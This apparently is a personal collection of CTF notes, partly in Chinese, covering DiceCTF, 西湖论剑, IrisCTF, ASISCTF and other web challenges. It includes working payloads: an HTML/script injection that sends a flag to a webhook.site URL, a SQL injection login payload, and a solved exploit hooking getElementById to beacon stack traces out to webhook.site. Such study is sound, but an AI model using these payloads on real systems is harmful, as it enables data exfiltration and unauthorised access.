DiceCTF
another-csp
index.js
import { createServer } from 'http';
import { readFileSync } from 'fs';
import { spawn } from 'child_process'
import { randomInt } from 'crypto';
const sleep = timeout => new Promise(resolve => setTimeout(resolve, timeout));
const wait = child => new Promise(resolve => child.on('exit', resolve));
const index = readFileSync('index.html', 'utf-8');
let token = randomInt(2 ** 24).toString(16).padStart(6, '0');
let browserOpen = false;
const visit = async code => {
browserOpen = true;
const proc = spawn('node', ['visit.js', token, code], { detached: true });
await Promise.race([
wait(proc),
sleep(10000)
]);
if (proc.exitCode === null) {
process.kill(-proc.pid);
}
browserOpen = false;
}
createServer(async (req, res) => {
const url = new URL(req.url, 'http://localhost/');
if (url.pathname === '/') {
return res.end(index);
} else if (url.pathname === '/bot') {
if (browserOpen) return res.end('already open!');
const code = url.searchParams.get('code');
if (!code || code.length > 1000) return res.end('no');
visit(code);
return res.end('visiting');
} else if (url.pathname === '/flag') {
if (url.searchParams.get('token') !== token) {
res.end('wrong');
await sleep(1000);
process.exit(0);
}
return res.end(process.env.FLAG ?? 'dice{flag}');
}
return res.end();
}).listen(8080);
visit.js
import puppeteer from 'puppeteer';
const browser = await puppeteer.launch({
pipe: true,
args: [
'--no-sandbox',
'--disable-setuid-sandbox',
'--js-flags=--noexpose_wasm,--jitless',
'--incognito'
],
dumpio: true,
headless: 'new'
});
const [token, code] = process.argv.slice(2);
try {
const page = await browser.newPage();
await page.goto('http://127.0.0.1:8080');
await page.evaluate((token, code) => {
localStorage.setItem('token', token);
document.getElementById('code').value = code;
}, token, code);
await page.click('#submit');
await page.waitForFrame(frame => frame.name() == 'sandbox', { timeout: 1000 });
await page.close();
} catch(e) {
console.error(e);
};
await browser.close();
只等待1s
await page.waitForFrame(frame => frame.name() == 'sandbox', { timeout: 1000 });
[CSS:在相对颜色语法中使用 color-mix 制作的颜色会导致选项卡崩溃并显示 SIGILL 41490764] - Chromium
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSS SIGILL Issue Repro</title>
<style>
div {
--c1: color-mix(in srgb, blue 50%, red);
--c2: srgb(from var(--c1) r g b);
background-color: var(--c2);
}
</style>
</head>
<body>
<div>This should be purple</div>
</body>
</html>
终止报错
<link rel="stylesheet" href="https://webhook.site/aee8bc6e-8b49-4193-9a96-291dc379b94f"><iframe src="http://localhost/flag" csp="img-src <https://*>; defascript-srcult-sscript-srcrc <https://*>; repscript-srcort-uscript-srcri <https://*>;" referrerpolicy="no-referrer">
<img src="https://webhook.site/aee8bc6e-8b49-4193-9a96-291dc379b94f">
<script>
flag=document.getElementsByTagName("pre")[0];
fetch("https://webhook.site/aee8bc6e-8b49-4193-9a96-291dc379b94f?flag=${encodeURIComponent(flag)}")
.then(response => {
// 检查响应状态
if (!response.ok) {
throw new Error(`HTTP error! Status: ${response.status}`);
}
// 将响应转换为 JSON
return response.json();
})
);
</script>
</iframe>
dicedicegoose

西湖论剑
only_sql
连上自己的数据库,load data写文件进去
读到源码:
<?php
error_reporting(0);
// mine
// $db_host = '127.0.0.1';
// $db_username = 'root';
// $db_password = '1q2w3e4r5t!@#';
// $db_name = 'mysql';
$db_host = $_POST["db_host"];
$db_username = $_POST["db_username"];
$db_password = $_POST["db_password"];
$db_name = $_POST["db_name"];
if(isset($db_host)){
try {
$dsn = "mysql:host=$db_host;dbname=$db_name";
$pdo = new PDO($dsn, $db_username, $db_password);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$_SESSION['dsn']=$dsn;
$_SESSION['db_username']=$db_username;
$_SESSION['db_password']=$db_password;
} catch (Exception $e) {
die($e->getMessage());
}
}
if(!isset($_SESSION['dsn'])){
die("<script>alert('请先连接数据库');window.location.href='index.php'</script>");
}
?>
<!DOCTYPE html>
<html>
<head>
<title>执行数据库命令</title>
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
<div class="container">
<h1>执行数据库命令</h1>
<form action="query.php" method="post">
<div class="form-group">
<label for="db_command">MySQL命令:</label>
<input type="text" id="db_command" name="db_command" style="width: 500px;" required>
</div>
<div class="form-group">
<button type="submit">执行命令</button>
</div>
</form>
<div class="result">
<?php
if (isset($_POST['db_command'])) {
$db_command = $_POST["db_command"];
$dsn=$_SESSION['dsn'];
$db_username = $_SESSION['db_username'];
$db_password = $_SESSION['db_password'];
try {
$pdo = new PDO($dsn, $db_username, $db_password,array(PDO::MYSQL_ATTR_LOCAL_INFILE => true));
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $pdo->prepare($db_command);
$stmt->execute();
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
if ($result) {
echo "<h2>执行结果:</h2>";
echo "<table>";
echo "<tr>";
foreach (array_keys($result[0]) as $column) {
echo "<th>$column</th>";
}
echo "</tr>";
foreach ($result as $row) {
echo "<tr>";
foreach ($row as $value) {
echo "<td>$value</td>";
}
echo "</tr>";
}
echo "</table>";
} else {
echo "<p>没有结果返回。</p>";
}
} catch (Exception $e) {
echo "<p class='error-message'>执行错误:" . $e->getMessage() . "</p>";
}
}
?>
</div>
</div>
</body>
</html>
eeee 没啥用
直接读flag———明明说是sql结果flag不在数据库里面
…TelCTF
Stress Release Service
Stress Release Service:
Chall name:
- Stress Release Service
Category:
- Misc / Web
Author:
- tsug0d
Description:
For a better New Year, we are introducing a service that can help you reduce stress: <http://192.53.173.71:8080> . As our service is only available during the New Year, we are also providing you with a code for later use in material section.
StressReleaseService__give.zip
It is using preg_match to validate.
为啥是misc题啊
限制7个字符长度,可能需要点脑洞吧(
tiniest php webshell?
https://www.pentestpartners.com/security-blog/the-tiniest-php-system-shell-ever/
抽象,反引号或者想办法传参?
他不限制在7个字符可以看下面这张图
RW-be
Be-a-Security-Researcher
开局login
…IrisCTF
What’s My Password
sql injection
{"username":"skat","password":"\" union select username,password from users where username=\"skat\"#"}
LameNote
Note challenges are lame so I made a lamer one. Flag matches irisctf{[a-z_]+}
Admin will log in, make a note with the flag, then visit your link. (Sorry if the timeout is a bit broken on this challenge, there's no PoW on the admin bot so feel free to spam it a bit)
nc lamenote-adminbot.chal.irisc.tf 10300
Hint!
Please redownload if you downloaded server files at the start of the event.
…Insomni'hack
InsoBank
by clZ
We're launching a new online Bank today which is of course backed by crypto and AI which makes it better than any other banking system out there.
It's not fully featured yet as you can only transfer money within your own accounts, but you can already see how superior it is to other systems:
http://91.92.201.197:3000/
Source: here
for (accountid,name,balance) in cursor.fetchall():
if balance > 13.37:
results[accountid] = {'name': name, 'balance': balance, 'flag': FLAG}
…My 2023
2023
emmm,我也想总结一下下(QWQ)我的2023。
…强网杯2023
Web
给了docker,代码逻辑
…楚慧杯
楚慧杯
eaaeval
打开题目,源码给了用户密码
…ASISCTF
Pupptear:
***报错追踪文件名字
Do you know what Puppeteer's friends call him when he cries? Pupptear... hahahaah
[attachment](<https://asisctf.com/tasks/pupptear_0ab53ea3b73da58a4d0854bf42ec1ea166283b3e.txz>)
nc 18.195.96.13 2000
Flag format for Pupptear: ^ASIS{[^{}]+}$
oh ok
I get the concept.
url = input('input URL (b64ed): ')
if(not re.match('^[A-Za-z0-9=+/]+$',url)):
print('bad URL')
exit(1)
os.close(0)
os.close(1)
os.close(2)
containerName = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(0x10))
os.system(f'bash -c "sleep 5 && docker kill {containerName} 2>/dev/null" &')
os.system(f'docker run --name {containerName} pupptear bash -c \\'/ASIS*/index.js {url}\\' ')
#!/usr/bin/env node
const puppeteer = require('puppeteer')
const flag = 'flag{test-flag}';
async function visit(url){
let browser;
if(!/^https?:\\/\\//.test(url)){
return;
}
try{
browser = await puppeteer.launch({
pipe: true,
args: [
"--no-sandbox",
"--disable-setuid-sandbox",
"--js-flags=--noexpose_wasm,--jitless",
"--ignore-certificate-errors",
],
executablePath: "/usr/bin/google-chrome-stable",
headless: 'new'
});
let page = await browser.newPage();
await page.goto(url,{ timeout: 2000 });
await page.waitForFunction(flag=>{
let el = document.getElementById('flag')
if(!el) return false
el.value = flag
return true
},{ timeout: 2000 },flag)
await new Promise(r=>setTimeout(r,3000));
}catch(e){}
try{await browser.close();}catch(e){}
process.exit(0)
}
get folder name? have no idea.
need to check if we can get flag during page move delay
fake flag. need to get folder name. i guess stacktrace from waitforfunction?
WORKDIR /app
COPY ./stuff/ /app/
RUN PUPPETEER_SKIP_DOWNLOAD=1 npm ci
RUN chmod +x /app/index.js
RUN useradd -m www
RUN chmod 777 /home/www/ -R
ENV FLAG=ASIS{test-flag}
RUN mv /app/ /$FLAG/
WORKDIR /
USER www
I guess yes.
One way is to hook Error and find filename, but I have to install puppeteer for testing. I don’t know how things work internally for puppeteer😕
If no one solves it I will try out sometime tomorrow.
i dont know either. ppt is heavily coupled with chrome devtools, i guess the function execution is a part of devtools protocol.
hook getElementById, read stacktrace.
solved:
<!DOCTYPE html>
<body>
<input type="text" id="flag" />
<script>
const oldFunc = document.getElementById
document.getElementById = function(id) {
const e = new Error();
const stack = e.stack.split('\\n');
fetch(`${document.location.href}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
id,
stack
})
})
return oldFunc.apply(document, arguments)
}
</script>
</body>
or
<!DOCTYPE html>
<body>
<script>
const HOOK_URL = "https://webhook.site/ae22bc03-bb75-4080-9702-36cbb57cc53d";
let sent = false;
function hook() {
if (sent) return;
sent = true;
const e = new Error();
navigator.sendBeacon(HOOK_URL, e.stack);
}
document.getElementById = hook;
</script>
</body>
…